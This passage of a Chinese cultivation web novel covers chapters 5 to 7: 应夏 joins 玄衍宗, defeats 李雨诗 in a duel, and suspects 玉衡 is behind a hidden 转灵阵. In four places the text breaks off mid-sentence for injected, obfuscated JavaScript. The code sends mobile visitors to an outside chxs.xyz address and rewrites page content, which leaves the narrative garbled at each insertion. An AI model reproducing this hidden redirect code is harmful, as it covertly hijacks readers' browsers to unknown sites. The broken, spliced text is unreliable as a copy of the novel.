他的面容被火燎得恐怖至极,却带着清淡的笑意。 “你真的是御兽门的朱雀长老?”应夏毫不畏惧这张能止小儿夜啼的脸,走到他面前,问道。 朱雀:“我都死了,骗你做什么?有什么好处?” 应夏一想也是,“这么说,现在御兽门里的那个朱雀长老,是个假的。” “肯定是他找人假扮的,毕竟其他长老的特征都在外表上,而我在骨头里,就算有人怀疑,也不可能扒了他的骨。”朱雀自嘲道。 “我已经答应你帮你报仇了,怎么还入我梦中?” 朱雀伸出一只手,斑驳的掌心里,躺着一小节黑色的骨头,那是他的魔骨。 “我来告诉你该怎么用这个魔骨。” 应夏瞬间提起精神来,他也伸出手,那魔骨像是迫不及待似的,嗖的一下离开朱雀蹿到他手里,还转了好几圈,又蹭了蹭他掌心的纹路。 朱雀很意外:“看来是我多此一举了,这魔骨应该很听你的话。” 应夏看着手上与魔气玩耍得很愉快的魔骨,勾了勾红唇,几根金线出其不意地绑住了乱动的魔骨。 原本仿佛有多动症的魔骨瞬间安静如鸡,甚至抖了抖,骨头发出滋滋的轻响,像是被金线灼烧到了一般。 应夏立刻放开魔骨,便瞧见被金线捆过的地方留下了一圈痕迹,看来金线确实如便宜师父所说,有驱魔之效。 “这魔骨,比我想象中没用多了。”应夏捏起那奄奄一息的骨头,撇嘴道。 朱雀想生气又气不起来,他道:“人比人真是气死人,你身上的功德金光可是世间罕见,别折腾我的魔骨了,我入魔仅几月,能化出魔骨已是不易。” 应夏却说:“你该说,魔比魔真是气死魔才对。” 朱雀顿了顿,似乎没想到少年将他误认为同类,道:“你是魔,我还不是,非要说,我只是个怨灵罢了。等你帮我报完仇,我便会消失在这天地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736104|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之中。” “是像人类说的,去投胎转世吗?” “怨灵没有来生,只有魂飞魄散。” 应夏突然握住那节魔骨,莫名生出一丝凄凉来。 他看着那张辨不出五官的脸,说:“天地孕育出万物生灵,万物生灵最终也将归于天地。” “这是世间万物最终的归宿,你只是早一步回到那里。” 朱雀明显愣住了,没想到他竟然说出这么一番话来,愣了半晌,最终笑着说了句:“谢谢你。” 应夏摆摆手:“不用谢我,毕竟我还要拿你的骨头炼刀。” 朱雀:“……” 好好的气氛被这句话打破,朱雀无奈,这话倒不必在本尊面前说。 应夏和温却沧走了足足五天才到玄衍宗山下,期间温却沧教了他简单的法术,比如迅风诀,可提速不少。 但应夏没有用,用的最多的反而是净尘诀,走了五天,洁癖倒是稍稍养起来了。 应夏抬头,云雾遮着连绵的山脉,远远望去,似乎有一行白鹭飞过,迎面吹来一阵凉风,带着清晨的雨露,他伸手挡了挡,沾染了些许湿意。 山脚下有一座小镇,规模比泉明镇小上一些,不过人来人往、熙熙攘攘得倒是比泉明镇还热闹些。 “这是三明镇,再往北走一些是福明镇,和泉明镇一样是离玄衍宗最近的城镇。”温却沧朝应夏解释着,“布匹衣裳,还有未辟谷弟子的采买都在这镇上了。” 应夏挑眉:“我还以为,修仙者都是远离凡尘俗世的。” 温却沧笑着摇头,道:“既要出世,便先入世。” 二人穿过三明镇进了山,应夏看到了一条青石长阶爬入云雾中,长阶旁立着一块巨石,上头刻着“长青阶,求仙路”。 应夏问道:“这长青阶后便是玄衍宗了?” “是,不过门内有规矩,长青阶上不可用法术……”温却沧还没说完,就见应夏已经使着迅风诀跑了上去,无奈道,“都说了……算了,反正只是对外人。” 应夏就这么一路畅通无阻地冲进了云雾中,很快,一座巨大的山门出现在他眼前。 有两个长得一模一样的道童守着山门,见有人突然出现,皆愣了一阵。 这少年非玄衍宗弟子,且如今不是开山门的时刻,怎么还有人走这长青阶? 左边的道童走上前,问道:“敢问阁下是何人?来我玄衍宗有何事?” 应夏还没来得及说话,身后追上来的温却沧帮他回答:“他是我收的徒弟。” 俩道童看到温却沧,惊喜地喊道:“小师叔!” 右边的道童对左边的说:“你先看着门,我去报信。” 说完,一溜烟地跑走了,边跑还边伸长脖子大喊道:“小师叔回来了!还带了一个漂亮的道侣回来!” 应夏:“??”他是不是听错了? 温却沧:“……” 应夏奇怪地看向他:“道侣?” 温却沧扶额嘶了一声,道:“可能……有些误会。” “哦,误会。”应夏明显不信,不过似乎能看温却沧的好戏,被勾起了点兴趣。 5. 第 5 章 应夏垂眸看向带路的小道童,问:“你叫什么名字?” “我叫一左,我弟弟叫一右。” 应夏不客气地吐槽道:“一左一右?起名字的人还真懒啊!” 一左停下脚步,鼓起小胖脸,对应夏说道:“给我们起名字的是天玑长老,你可别乱说话,对长辈不敬!” 应夏不以为意:“诶,一左,你们刚才叫温……我师父小师叔,他的辈分很大吗?” “小师叔是掌门的师父拂叶道君带回来的,拜在他门下,掌门与小师叔是同门师兄弟,与七位长老地位差不多,玄衍宗弟子都得喊小师叔。”一左不再看他,继续走着,板板正正地回答。 “温……我师父很大年纪了吗?”应夏不禁皱眉。 “小师叔今年二十三,是修仙界最年轻的元婴期!”说到这,一左的语气自豪起来,“小师叔是千年难遇的天才!是修仙界的希望!小师叔将来必定能飞升上界!我等应向小师叔看齐,勤奋修炼,届时必将……” “知道了知道了。”应夏听到后面有些不耐烦了,他哪里想听别人夸温却沧,便打断一左,问起了感兴趣的,“话说,之前你们误会我是我师父的道侣,究竟是怎么回事?” 提起这个,一左皱了一张小脸,道:“这个得从一个月前,玉衡长老的女儿被接到玄衍宗说起……” 原来,玉衡长老与一女散修有过露水情缘,没想到那散修生下了一个女儿,只是因为那散修被魔气感染已无药可救,便将女儿李雨诗托付给了孩子的父亲,也就是玉衡长老。 李雨诗被接到玄衍宗时,已年方二八,正值春心萌动,又刚好遇上丰神俊朗的温却沧,便一见钟情,一发不可收拾,天天找机会就缠着温却沧。 “虽说女子大胆求爱理当尊重,但小师叔已拒绝过她,可她仍旧不死心,说要和小师叔多处处才能生出感情。”一左的表情很难看,显然是不赞同李雨诗纠缠不休的做法。 “小师叔为了让李雨诗死心,还说自己不喜欢女人。但李雨诗依旧……” 应夏一愣,后面的话都没听太清,温却沧不喜欢女人,难道喜欢男人?真的假的?应该是为了躲避纠缠才说的吧? 等他回过神,一左已经说到了结尾:“小师叔不堪其扰,正好借着每月的‘行善事’下山。一右真的相信了小师叔喜欢男人,所以一右看到小师叔带回来个漂亮少年,便误以为你是小师叔的道侣,而且也想借此机会让李雨诗死心。” 应夏终于了解了始末,对温却沧的遭遇幸灾乐祸多过同情。 “听你的意思,一左你是觉得我师父是说谎骗了李那谁来着,为了躲避她的纠缠。” 一左却摇摇头,道:“不,小师叔没必要因为这个说谎。” “那你是觉得?” “小师叔既不喜欢女人也不喜欢男人。” 应夏一顿,不知想到什么,神情略微妙,道:“照你这么说,难道温……我师父不喜欢人?喜欢的非人生物?”哇,没看出来,温却沧这么重口味? 一左:“……” 一左又气得鼓起了脸颊:“不是!你怎么会想到那里去?我的意思是,小师叔是要飞升的人,怎么会耽于情爱!他当然不会喜欢任何人,包括任何非人!” 应夏哼笑了出来,哦原来在这个小娃娃眼里,温却沧是个无情无爱的圣人,可他觉得不是。 应夏想起了那双潋滟桃花眼,有着这么一双多情眼的人,怎会是个无情无爱的圣人,一左的眼神恐怕不太好。 不过这话他没说出来,毕竟一左看起来已经气撑了,那白胖的圆脸像是个团子,应夏伸手戳了戳,还漏气。 “为什么我觉得越走越冷了?” 应夏瞧着两边逐渐枯黄的树叶,呼出了一口雾化的热气,明明已过寒冬,正值春暖花开之际。 一左解释道:“小师叔所住乃玄衍宗的听雪峰,这山上一直常年下雪四季如冬,在此山上居住应学会运气暖身,也是一种修炼。” “你看着很想住在这里?” 一左望着飘雪的山顶,神情向往,“这里是拂叶道君的居所,小师叔从小在这里长大,自拂叶道君仙去后,便一直住在这里。” 应夏有些想收回刚才那句话,因为一左又开始长篇大论来夸赞温却沧有多么多么厉害,什么三岁背心法,五岁御剑飞天,七岁剑斩魔兽…… 直到他们走到山顶,看见了烟雪朦朦中矗立着的恢弘宫殿,一左才堪堪停下。 应夏望着那座披着霜雪富丽堂皇的殿宇,惊讶道:“温……我师父住在这里?”这么财大气粗? 一左摇摇头,短胖的手指指向了另一个方向,应夏顺着看过去……居然是一座破旧的茅草屋,在风雪下摇摇欲坠,总觉得下一刻便会被压塌。 应夏:“……” 应夏无语道:“怎么不把自己住的屋子修得好一些。”比不上那宫殿,也不必连普通凡人的房子都不如吧? “你不懂,小师叔这是在苦修!” 应夏翻了个白眼。 一左长得矮没看见,他又道:“我已经将你带到了,便回去守山门了,能拜在小师叔门下可是极好的机缘,你要好好修炼。” 应夏伸出沾染凉意的手,捏住一左热乎乎的脸蛋肉,笑道:“你明明是个小屁孩儿,说话怎么像个古板的小老头似的。” 一左被冰得激灵一下拍开捣乱的手,瞪着那双水汪汪的大眼睛,毫无威慑力地道:“不得无礼!” 说完便气势汹汹地跑走了。 应夏笑着转过身,走向那座茅草屋,近看才发现,茅草屋外已积了一堆厚厚的雪,挡住了门。 温却沧回宗门后要先去结善堂交泉明镇的委托,便让一左先带着应夏来到听雪峰。 不过温却沧没告诉他听雪峰是常年下雪的状态,应夏盯着门口那堆雪,思考了一会儿,使了下净尘诀,却只小小的削薄了一层雪,然而眨眼间,雪又落了一层。 应夏:“……” 正当应夏在与堵门雪堆做斗争之时,他听见了远处的踩雪声,有人也来到了这听雪峰上,但不是他那便宜师父。 应夏暂时放过那堆被削矮一半的雪,转身看向那人。 是个身着一袭明黄色衣裙的少女,年纪看上去与他差不多大,黛眉秀目樱桃口,好好一张温婉的脸上却带着怒气,扭曲了面容,反而将颜值拉下了几分。 应夏瞧着来者不善,便想到了一左说的纠缠便宜师父的女子,这人应该就是李雨诗,这会儿也不会有其他人用如此态度对他。 来者正是李雨诗,她一直等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736105|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着温却沧回来,却没想到等来的是心仪之人带回男道侣的消息,她一时气极便冲上了听雪峰,决定亲眼看看能被温却沧看上的人究竟长什么模样。 她看见温却沧门前站着的黑色身影,便拔出了剑,待到李雨诗走近几步,看清了风雪中的人影时,她竟不自觉屏住了呼吸,脑海里一片空白。 那是一张惊为天人的脸庞,眉眼精致,鸦羽般的睫毛盛着雪,清澈褐眸通透清远,唇瓣红润饱满,点着一颗诱人小痣,肌肤如雪更显得颊上那抹淡粉娇嫩。 少年不仅容貌不凡,一身黑色劲装更是勾勒出他清瘦挺拔的身姿,站在风雪中如玉雕琢一般,浑身上下找不出一丝瑕疵。 李雨诗从来没想过,一个男人竟然能美成这副模样,若他再长开些怕是更不得了了。 她心中已生出“自己输了”的念头,可下一秒又觉得不甘心。 仔细端详后发现这少年不过练气,身为筑基期的她又觉自己扳回一城。 “喂,你就是小师叔带回来的?”李雨诗稳了稳心神,出声问道。 少年闻言,勾起了唇角,那颗小痣若隐若现,“你是李雨诗?你不要误会,我是温却沧的徒弟,并不是他的道侣。” 李雨诗并没有放松,师徒关系在修仙界中最为亲密,这少年长得如此美,很难会有人不心动,即便是温却沧。 “我不信你,除非你离开玄衍宗。” “你信不信关我何事?”应夏语气轻漫。 李雨诗抬剑指着他,问:“你既然是小师叔的徒弟,那便也是玄衍宗弟子了。” 应夏挑眉,“怎么?” “好,我玄衍宗弟子历来有个规矩。”李雨诗将挂在腰带上的玉佩摘下来,将刻有她名字的那一面朝向应夏,道,“此乃亲传弟子玉佩,可向本门内任何弟子甚至长老、掌门发起唯一一次‘对决’,且对方无法拒绝。” “我李雨诗,玉衡长老亲传弟子,向你发起‘对决’。” 话音刚落,应夏便感觉到一股莫名的力量从那玉佩中传出,无形的灵气绕着他转了一周后,直接进入了丹田中,冥冥之中有什么规则将他禁锢了起来。 “若是你不接,便视为放弃玄衍宗弟子身份,你会被玄衍宗护山大阵直接扔出去,再也不得进入。”李雨诗挑衅道,“怎么样?你接不接?” 应夏垂下了眼,被睫翼遮盖的眸子左右移动着,面上难得显出沉静之色。 李雨诗觉得,他这是有退缩之意,更为得意地抬了抬下巴,道:“你放心,‘对决’一事需要双方在试剑台上,至少一位长老的见证下,才能开始。而且对决开始前,双方必须压上一些赌注,要么是生死,要么是财宝。” 她将玉佩收回挂好,又收起了剑,一副胸有成竹的模样,根本看不出来是在以一筑基期逼迫练气期对决。 “我和你还不至于到生死的地步,不过我的要求是,你输了就离开玄衍宗。”说完,李雨诗便低头看了眼散发出阵阵荧光的玉佩,道,“这是玉佩在确认赌注。” “当然,你也可以选择不接,现在就下山离开玄衍宗。” 应夏终于抬起头来,神色并不是李雨诗期待的慌乱和恐惧,而是缀着笑意,显得那副得天独厚的脸更明艳张扬。 他道:“接,当然要接。” 6. 第 6 章 “既然有赌注,你选好了要求,那我也有我的要求。” 应期撑着手臂摸了摸下巴,略作思考状,然后道:“我需要一些炼器灵宝。” “可以。”李雨诗答应得很快,她身为玉衡长老的女儿,自然是有些身家的,炼器灵宝多得是。 “我可不是指那些便宜常见的炼器灵宝。”应夏转身看向李雨诗,不怀好意道,“我要的是上品炼器灵宝,而且还要三件。” 上品炼器灵宝已是珍稀之物,有灵石都买不到,更何况还要拿出三件!若真换算成灵石,这可相当于她半副身家了! 李雨诗震惊道:“你别得寸进尺!” 应夏哼笑了一声,道:“我输了可是要离开玄衍宗,失去成为温却沧弟子的身份,这放在修仙界应该更值钱吧?我可是在拿修仙前途做代价!” “既然是公平比试,那么双方所要付出代价便要差不多,不然算哪门子的公平?”应夏看了看又开始闪烁的玉佩,笑道,“你看,连你的玉佩都觉得可以。” 李雨诗皱着眉头纠结着。 “大小姐,你还是想清楚,再发起什么‘对决’,若是连这点代价都付不起……”应夏轻蔑地笑了笑。 “好,我答应你!”李雨诗知道自己被激将了,但她仍是一口应下,毕竟她并不认为自己会输,不过一个刚练气的小子而已。 被打上“不知天高地厚”标签的应夏满意地点点头,爽快道:“就这么说定了,那我们现在就去……嗯,试剑台吗?” 李雨诗顿了顿,她这一趟是情急之下出门,倒是没有任何准备。 应夏察觉到她的迟疑,不屑地哼了一声:“怎么?怕了?你难道没什么信心,还得过几天做全准备了再来?” “谁怕了?”李雨诗剜了他一眼,转身便离开。 应夏紧跟其后,毕竟他还不知道玄衍宗的试剑台在哪里。 - 温却沧从结善堂交完委托出来后,又匆匆去了趟刑堂,直到事情办完,他才准备回听雪峰。 也不知道他的乖徒见到听雪峰上四季如冬的消息会如何,看见他真正的住所又会是什么表情,温却沧略想了想,那双桃花眼便忍不住溢出笑意。 没走多久,便瞧见路上有二三弟子匆匆走过,见他都礼貌喊声小师叔,但神色怪异得很。 温却沧问道:“怎么了?” “小师叔不知道?李雨诗向小师叔带回来的道侣发起‘对决’了,现在正在试剑台上打呢!” 温却沧一愣,随即失笑地摇摇头,刚往试剑台走了几步,又倒回来对那几个弟子说:“应夏是我带回来的徒弟,切莫听信谣言。” “是,小师叔。”那几个弟子受教行礼,看着小师叔都着急地用上了缩地成寸,心里不免羡慕那个叫做应夏的少年。 温却沧赶到试剑台不过几息,却已经瞧见不少弟子围着,淡金色保护阵法中,正一左一右站着两个人。 李雨诗看着下面的弟子越来越多,面色也越来越黑,她抬剑指着应夏,道:“这么久了,你到底在等什么?不会是怕了不敢和我打了吧?” “我怕什么,别急呀,我站在这里又跑不了。”应夏说完,心有所感往一个方向看去,目光穿过人群,对上了那双熟悉的桃花眼。 应夏弯了鹿眸,拍了拍衣袖上并不存在的灰尘,稍抬了抬下巴,才转而看向气到脸色发青的李雨诗,道:“现在可以了,不过你手上有剑,我却赤手空拳,不太公平吧?” 台下的弟子突然出声,“我的剑借你一用!”“我的也可以,借我的!” 温却沧握着剑,没出声。 “感谢各位,不过我师父来了,自然是要向师父借剑。”应夏望向人群外的温却沧,勾了唇角,“你说是不是,师父?” “是小师叔!”“小师叔来了!” 人群沸腾了一瞬,刹那间又安静下来。 别人可能看不见,温却沧看得一清二楚,那双盯着他的鹿眸里满是威胁,好像在说,如果敢让他下不来台,就立马撕了他。 温却沧心里好笑,手上却已利落将剑抛到应夏手上,“徒弟说的是。” 这一句,便是让在场的玄衍宗弟子都知道,应夏是温却沧带回来的徒弟。 应夏接了后立刻拔出剑,重量不轻不重,外表也普普通通,握在手里也没什么感觉,竟然真的是一把普通的剑。 这和他以为的天地灵宝铸成的神剑不符,温却沧就是拿着这么一把普通的剑,使出那么厉害的剑招?他是有多强? 应夏抿了抿嘴,察觉到自己与温却沧的差距,用力握紧了那把剑。 李雨诗的脸色更难看了,她咬牙道:“你是故意的!” 故意等温却沧来,故意借温却沧的剑,为的就是让她难堪! 李雨诗气急,她握着剑就朝应夏冲了过去,气势极猛。 应夏从未用过剑,可他见过温却沧的剑招,近距离感受过那剑招是如何调用灵力,虽然他的修为与使剑招的人差距过大,但…… 一剑歪歪斜斜地劈出,动作间涌出无数金线缠绕上剑身,令那剑成了一柄金色的光剑。 众人来不及震惊那金光,便瞧见一股金色的剑气破空而出,其势凶猛,李雨诗的剑根本抵挡不住,被金色剑气绞碎! 李雨诗震惊间,快速朝后退去,可惜那金色剑气似乎后劲不足,只刮裂了她的衣袍后便消散于空气中。 应夏皱眉,正想再甩一剑,就听李雨诗大声道:“我认输!” 她没想过一个炼气期竟会如此剑招,应该是温却沧教他的,李雨诗没想以命相搏,败局已定她不想受伤,便干脆利落的投降。 闻言,应夏撇了撇嘴,像是拿到玩具没玩够似的,将剑插回了剑鞘,正打算扔回给温却沧,却没由来的感觉到一阵心悸,令他不禁咬住了下唇。 猛地转头看去,却只对上一双熟悉的桃花眼,潋滟的水光里闪着诧异与惊艳,仿佛也如其他弟子一样,被他之前那剑震惊。 难道刚才只是他的错觉?应夏懊恼自己方才竟心生怯意,将剑握在手里,狠狠瞪了温却沧几眼,发泄自己的不满。 温却沧不知又是哪里得罪这位祖宗了,无奈地收下他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736106|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的怒火。 “……刚才那剑招,看着有点眼熟?” “应该是小师叔教他的吧?” “太厉害了,他才炼气吧?竟然能有这么厉害的剑气!” “等一下,刚刚那个金光是什么?” “难道是……功德金光?” “什么?!不可能吧?” 作为这场对决见证者的玉衡长老坐不住了,他看都没看自己狼狈的女儿一眼,走到应夏面前,微笑道:“恭喜,此场‘对决’是你赢了,三件上品炼器灵宝稍后会送到你手上。” 应夏看了看面前的中年男人,他还以为能叫长老的都应该是头发和胡子花白的老人,这人就是李雨诗的爹了吧?倒是比李雨诗客气多了,以后还要待在玄衍宗,不宜得罪长老。 他拱手道:“多谢,直接给我师父就行。”毕竟炼器的人是温却沧。 温却沧此时也落到了台上,挡在应夏前面,“玉衡长老若是无事,我先带我徒弟回去了。” 玉衡面上依旧和善地笑着,道:“你们应该还未行过拜师礼吧?算不得师徒。” 然后又朝应夏说道:“你叫应夏是吧?可愿成为我的徒弟?” 这话一出,人群又沸腾起来,没想到看完一场对决,还能看到这后续更加劲爆的‘对决’,这是想要和小师叔抢徒弟了! “……丢下修炼跑来看热闹,可真是值了!没想到小师叔带回来的人,竟然如此厉害,引得玉衡长老都想收他为徒!” “小师叔的眼光能差?不过玉衡长老不仅仅看重的是这个吧?” “难道刚才那个,真的就是功德金光?!他才多大年纪?莫非是转世的大善人不成?” 又听到“大善人”三字,应夏忍不住心里翻了个白眼。 温却沧笑得更加温和,道:“玉衡长老这可不厚道,人是我带回来的,也早与他约定成为师徒。” “诶,爱才之心人皆有之,既然还未正式成为师徒,那便有机会,实在对不住。” 温却沧不恼,只是转身看向默默看好戏的少年,道:“这个还是得问问应夏自己的意见,怎么样,你如何选择?” 应夏睨了眼不慌不忙的温却沧,故意问玉衡长老:“若是拜你为师,有什么好处?” 玉衡见状,脸上的笑意更大了,道:“见你方才要的是三件上品炼器灵宝,想必是打算炼制一把趁手武器,我这里有现成的天地灵宝,可助你铸成更高品级的武器。还有源源不断的修炼灵石,我都可以为你提供……” 零零总总许了不少好处,听得台下的众人都羡慕嫉妒恨了。 温却沧只是笑着看着应夏,不为所动。 应夏觉得没意思,抱着剑道:“谢谢玉衡长老,不过我还是选择温却沧。” 玉衡脸上的笑容僵了僵,问:“为何?虽说他的资质确实很好,可太年轻了些,也不适合为人师……” 应夏打断他说:“他长得好看。” 玉衡:“……” 众弟子:“……”有一说一,确实。 温却沧扶额,忍俊不禁。 7. 第 7 章 因为脸好而胜出的温却沧,带着应夏回到听雪峰。 “你为什么住的这么破?” 温却沧挥手将茅草屋周围的积雪清理干净,道:“我师父,也就是你师祖,拂叶道君要求身为剑修必先苦修,不骄奢、不淫逸,修心性为上,才能修好剑道。” 说完转身,便看到应夏苦大仇深的盯着即便被清理好,也不怎么样的茅草屋,无奈笑道:“进去吧,你以后也住在这里。” 虽说茅草屋外面瞧着不怎么样,但里面却是别有洞天。 桌椅摆设颇为讲究,屋内宽敞不少,还分有两间卧房,卧房里的布置虽朴素但整洁雅致,屋内摆着几盆兰草,映着窗外的雪景,竟别有一番风致。 应夏这才略满意地点点头:“这还差不多。” 空间比外面看来得大了很多,应该是用什么方法扩展了吧? 听到应夏的询问,温却沧道:“这间茅草屋便是一件法器,屋外看来一直是那副模样,屋内可根据喜好更改空间布置。” “难怪被雪压得这么厚实都没塌。”应夏弯着唇角,四处查看,问道,“哪间卧房是我的?” 温却沧指着能看景色最好的一间,实际上这间原来是他的,只是刚才进屋时便改了布局,新增一间卧房并将新卧房替换了这里的位置。 应夏便坐在了床榻上,摸了摸软和的被子,“差强人意吧。” 温却沧坐在矮桌旁,不自觉想去摸剑,却摸了个空:“不打算把剑还给我?” 应夏还拿着他的剑,却没有还给他的意思,只是说:“你什么时候锻好了我的刀,再还给你。” 温却沧惊讶又无奈:“你就是这样借剑的?” “你想想,我初来乍到,便被人找到要求对决,若是下次还有人来找麻烦,没有武器傍身,我会很危险的。”应夏说得头头是道。 “而且,又不是不还你,你想要剑,就赶紧将我的刀锻出来,一举两得。” 屋子不大,温却沧坐的离应夏不远,伸手便能弹他的额头,“什么一举两得,是你一箭双雕吧?” 应夏摸着额头,瞪了他一眼,抱着剑不松手。 “罢了,便依你。” 应夏想起一事,眯起眼睛,危险地问道:“你就没想过李雨诗会来找我麻烦?还是说你就等着看我的好戏?” 温却沧喟叹一声:“我以为你不会搭理她。” “我是不会搭理她。不过这不是要锻造武器么,正好有人上赶着送炼器灵宝,稳赚不赔。” 应夏摸着剑穗,突然来了兴致,单手编起结来。 “是我忘了这茬。” 温却沧看着应夏折腾他那剑穗,觉得那几根如玉手指灵活得很,几下就编出一朵小花来,没想到他还有这手艺。 下一秒便瞧见应夏又把那花拆了,重新编了个雪花样式。 温却沧:“你真的不打算跟我一起修剑?你很有天赋。” 他从未教授过应夏剑招,试剑台上,他竟能使出只见过一次的斩风,天资卓越,或许就是下一个剑修天才! 应夏轻哼一声,又将那雪花拆了,顺了顺略有折痕的剑穗,问道:“这修仙界剑修很多吧?你可排第几?” 温却沧笑了笑,道:“修仙界不敢比,人外有人,若是在这玄衍宗,论剑,我是第一。” 别人说这话或许轻狂,可温却沧说出来,应夏觉得是真的,他见过他的剑,也尝试过复刻他剑招,结果显而易见。 “那天底下,有多少修仙者练刀?” 温却沧略加思索,道:“据我所知,不多。” 应夏将剑穗编出一柄刀的模样,道:“那我肯定不修剑,我要练刀。” “为何?” “我想做天下第一刀。”语气带着势在必得。 温却沧听明白了他话里的意思,忍不住笑道:“你怎么知道你不会是天下第一剑?” 应夏愤愤将那剑穗编成的刀,往温却沧的胸膛使劲戳戳,一边说道:“你从小练剑,我现在才开始,这差距太大,除非你从现在开始不再练剑不再进步,可能吗?” 而且修仙者修剑颇多,天下第一剑的竞争压力大,他想不开了才会去卷生卷死。 “我就是不练剑,我要练刀!” 温却沧一把握住那柄在胸口作乱的小刀,温声道:“好好好,你想练刀那便练刀。” 应夏瞪了他一眼,抽回剑穗,将小刀拆了,又顺了顺,这回没再编什么。 他想到一件事,看向温却沧的眼神有点奇怪,“你真的不喜欢女人?” 没想到应夏会问这个,温却沧想了想,点头道:“是,我喜欢男人。” 修仙界除了男女结为道侣外,也有女女和男男的道侣,并不稀奇。 应夏眨了眨眼睛,哦了一声,便沉默下来。 温却沧:“你放心,我们是师徒,我不会对你……” 后面的话却没继续说出来,因为应夏瞪着一双鹿眸,像是在说“我这么优秀,你敢不喜欢我?!”“不喜欢我就是眼瞎!”…… 温却沧愣了愣,掩着嘴无声笑了笑,是他多想了,掀过这一节,道:“先行拜师礼吧,然后我再教你些心法。” “先等等。”应夏突然想起来一件事。 “怎么?” 应夏在手指上绕了几圈剑穗又松开,他之前听到了李雨诗的“欲望”或者说心声,她对温却沧并不是真正的喜欢,只是图他所能带来的利益,应夏不相信温却沧看不出来。 “你觉得,李雨诗是真的喜欢你?” 温却沧直接道:“或许,但更多的,应该是我身上有她所图的东西。” “那你为什么不直接戳穿她?总比她一直拿着喜欢来烦你好吧?”应夏一直没明白,“而且刚才看你刚才和玉衡对上,不像是怕他或给他面子的模样。” “再说了,我觉得能干脆利落解决这件事的方法有很多种,可你除了拒绝之外,什么都没做,任凭李雨诗缠着你,为什么?难道你是喜欢受别人追求的感觉?”应夏皱眉。 温却沧被这么诋毁也没太大反应,只是说:“都不是。” 应夏追问:“那是什么?” 温却沧沉默了一会儿,道:“这事你不用管。” 应夏磨了磨牙根,将剑穗一把攥住,盯着温却沧:“我可以不管,但是被找麻烦的人是我,你要怎么赔偿?” “我给你锻一把天下第一的刀,行不行?” 应夏倨傲地挑眉:“我都给你赚来三件上品炼器灵宝了,你本来就得给我锻天下第一的刀。” 温却沧还想说什么,应夏立刻将剑横在他面前,说:“你若告诉我,这把剑现在就还给你。” 但温却沧没动,应夏轻哼一声,将剑抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736107|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回怀里,“什么事比你的剑还重要?本来如果你拿回这把剑,我就没兴趣了,可惜你竟然这么不想让我知道这事,那我就很好奇了。” “我一定要知道这件事!”下巴微抬着,一副誓不罢休的模样。 温却沧突然看着应夏笑了,他不怒不恼,依旧那副温柔随和的模样,看着应夏的眼神像是在看顽皮的孩子。 “这事真的与你无关,没必要牵扯进来,你身上本就有个大麻烦,何必再牵扯旁的,我也是为你好。” 温却沧还劝,“知道这件事对你来说,没有任何好处。我知道你是个聪明的人,不会不分好坏的对不对?” 应夏笑了一声,道:“你这套对我没用,既然你不愿意说,那我来猜猜看。” 他顿了顿,“是跟转灵阵有关对不对?” 温却沧神色未变,只是问:“为什么会这么猜?” “因为转灵阵距离泉明镇有一段路程,又不在玄衍宗前往镇上的必经之路,再加上有人故意遮掩,一开始我就觉得你能发现那阵法很奇怪。” 温却沧轻笑了下,没有说话。 应夏看着他,继续道:“如果你真的是为了泉明镇上的怪事去的,怎么会先去查找周围,反而后来才发现井中的事情?明明魔气的存在比故意遮掩的转灵阵更好发现,这很奇怪不是吗?” “但假设你一开始就是为了转灵阵一事,才接了泉明镇的委托,那这就说得通。”应夏捋了捋剑穗,眼神颇为得意。 “而且你又抛下我去交任务,应该是发现了什么故意避开我的吧?不然的话,可以带我一起去结善堂,毕竟一左跟我说这是玄衍宗弟子每月必修事项,顺带教我认认路岂不是一举两得?” 温却沧的眼里泛着潋滟水色,没有说对也没有说不对,“继续。” “那我就大胆假设,你既然在追查转灵阵一事,那这布阵人应该在玄衍宗里面,而你又任凭李雨诗纠缠,怕不是布阵人是李雨诗?要不然就是与她相关之人……” 应夏瞪大眼睛:“难道是玉衡?!”一大宗门长老也需要用转灵阵吗? 